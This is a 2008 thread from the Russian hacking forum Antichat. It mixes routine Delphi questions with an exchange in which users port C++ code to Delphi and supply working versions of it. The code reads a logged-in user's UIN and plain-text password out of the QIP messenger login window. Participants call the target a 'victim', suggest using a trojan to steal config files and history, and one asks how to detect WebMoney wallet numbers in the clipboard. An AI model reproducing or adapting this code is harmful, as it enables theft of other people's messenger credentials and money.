Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

26.04.2008, 20:57
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Вот еще один способ:
Label1.Caption:=paramstr(0);
|
|
|

26.04.2008, 23:02
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Сообщение от Nightmarе
Кто нибудь может этот код из С++ перегнать на делфи???
Код:
void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля
// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);
// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);
// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);
//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;
// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
Код:
var
hManForm,hGroupBox,hEdit,hComboBox:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:= findwindow(nil, 'TManForm');
if hManForm <> 0 then
begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
iUIN:=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hComboBox, wm_gettext, iUin, longint(@pUin[1]));
end;
hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
end;
end;
end;
Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши. 
|
|
|

26.04.2008, 23:34
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от Dr.KoD
Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши. 
Большое спасибо, тут лишний пробел:
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
В общем скомпилировал, значит так я понял pPass это пароль в итоге pUin это номер.
Скомпилировал, запускаю квип, потом скомпилированную прогу, в буффере пусто.
pUin и pPass в итоге оказываются пустыми... что не так?
Смысл этого кода в том, что он получает пароль из квипа всех версий включая 8050 но не инфирум, но всё равно не пашет...
В соседней теме уже выложили прогу тырющяя пароли по этому алгоритму...
|
|
|

26.04.2008, 23:42
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Сообщение от Nightmarе
Большое спасибо, тут лишний пробел:
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
В общем скомпилировал, значит так я понял pPass это пароль в итоге pUin это номер.
Скомпилировал, запускаю квип, потом скомпилированную прогу, в буффере пусто.
pUin и pPass в итоге оказываются пустыми... что не так?
Смысл этого кода в том, что он получает пароль из квипа всех версий включая 8050 но не инфирум, но всё равно не пашет...
В соседней теме уже выложили прогу тырющяя пароли по этому алгоритму...
Лишний пробел вроде вставляется форумом 
|
|
|

26.04.2008, 23:47
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
|
|
|

26.04.2008, 23:50
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от Dr.KoD
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
Суть этого кода в том, что жертва НЕ сохраняет пароль вообще, он лежит в открытом виде в этих полях.
|
|
|

27.04.2008, 00:11
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Код:
var
hManForm,hGroupBox,hEdit,hComboBox, hEdit1:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:=FindWindow('TManForm',nil);
if hManForm <> 0 then
begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
hEdit1:=FindWindowEx(hComboBox,0,'Edit',nil);
iUIN:=SendMessage(hEdit1, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hEdit1, wm_gettext, iUin, longint(@pUin[1]));
Label1.Caption:=pUin;
end;
hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
Label2.Caption:=pPass;
end;
end;
end;
На вот, этот код 100% рабочий, проверял!!!  Там кароч в комбобоксе запрятан едит, да и я ошибочку в начале маленькую допустил, терь усе поправил.  С тебя пол литра 
зы этот код читает пасс только в ткрытом виде!!!
Последний раз редактировалось Dr.KoD; 27.04.2008 в 00:14..
|
|
|

27.04.2008, 02:54
|
|
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме: 905389
Репутация:
332
|
|
скажите а возможноли установив в событии onClick к примеру у 3 компонентов Tedit такую процедуру procedure TForm1.Clickmyedit(Sender: TObject);
узнать из Sender какой именно из 3-х Edit'ов вызвал её???
спасибо но google рулит....)))))) кому надо выкладываю:
Код:
procedure TForm1.Clickmyedit(Sender: TObject);
begin
(Sender as TEdit).color:=clred;
end;
полный пример: _http://www.delphisources.ru/pages/faq/base/use_sender.html
так же для Tbutton и др. классов))) после точки все тоже что и edit1. )))))
даже 5 минут не прошло сразу нашел)))))
Последний раз редактировалось KIR@PRO; 27.04.2008 в 04:38..
|
|
|

27.04.2008, 15:36
|
|
Познающий
Регистрация: 04.01.2008
Сообщений: 62
Провел на форуме: 490685
Репутация:
30
|
|
Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
------------
И еще. Почему конструкция case не работает для строки? Например:
Код:
var
MyString: String;
begin
case MyString of
'привет': блок кода 1;
'пока': блок кода 2;
end;
end;
|
|
|

27.04.2008, 15:49
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Сообщение от Metall
Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
------------
И еще. Почему конструкция case не работает для строки? Например:
Код:
var
MyString: String;
begin
case MyString of
'привет': блок кода 1;
'пока': блок кода 2;
end;
end;
Такая запись неверна,(case не работает со строками) Здесь оператор If тебе в помощь
так:
Код:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key= vk_return then
//Твой код:)
end;
??
Эмуляция нажатия enter
http://articles.org.ru/cfaq/index.php?qid=2112&frommostrecent=yes
Последний раз редактировалось De-visible; 27.04.2008 в 16:33..
|
|
|
|
 |
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|